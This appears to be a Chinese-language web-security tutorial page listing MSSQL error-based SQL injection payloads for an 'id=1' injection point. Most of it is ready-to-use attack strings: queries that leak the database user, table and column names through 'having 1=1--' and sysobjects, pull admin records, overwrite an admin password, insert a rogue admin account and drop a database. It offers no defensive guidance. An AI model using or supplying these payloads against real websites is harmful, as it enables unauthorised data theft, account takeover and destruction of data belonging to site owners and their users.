好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

mssql暴表暴列 - 网站安全 - 自学php

注入点:id=1

and user>0  //得到 数据库 用户名

having 1=1--  //得到当前用户的数据信息,类似于aaa.bbb的格式,aaa是表名,bbb是列名。

group by 用户信息having 1=1--  //继续得到一个列。

group by 信息1,信息2 having 1=1--  //继续

原理:在SQL语句中,having 1=1--是和group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名一个列名。

暴出任意表名

and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1  //N代表数据库中的第几个表。

暴出表的的任意列。

and (select top 1 col_name(object_id('表名'),N)from sysobjects)>1  //N代表第几列。

暴出数据

and (select top 1 adminname from admin where id=1)>1  //N 代表第几条数据

修改数据

;update 表名set 列名='内容' where 条件

;update admin set userpass='123456' where id=1

 

插入数据

;insert into 表名values (内容)--

;insert into admin values (3800hk,123456)--

删除数据库

drop database 数据库名

获得数据库版本

and (select @@version)>0

获得当前数据库名

and db_name()>0

and user>0也可以用来判断权限,例如返回public说明是public权限

判断是否支持多句查询

;declare @a int--

判断是否支持子查询

and (select count(1) from [sysobjects])>=0

查看更多关于mssql暴表暴列 - 网站安全 - 自学php的详细内容...

  阅读:40次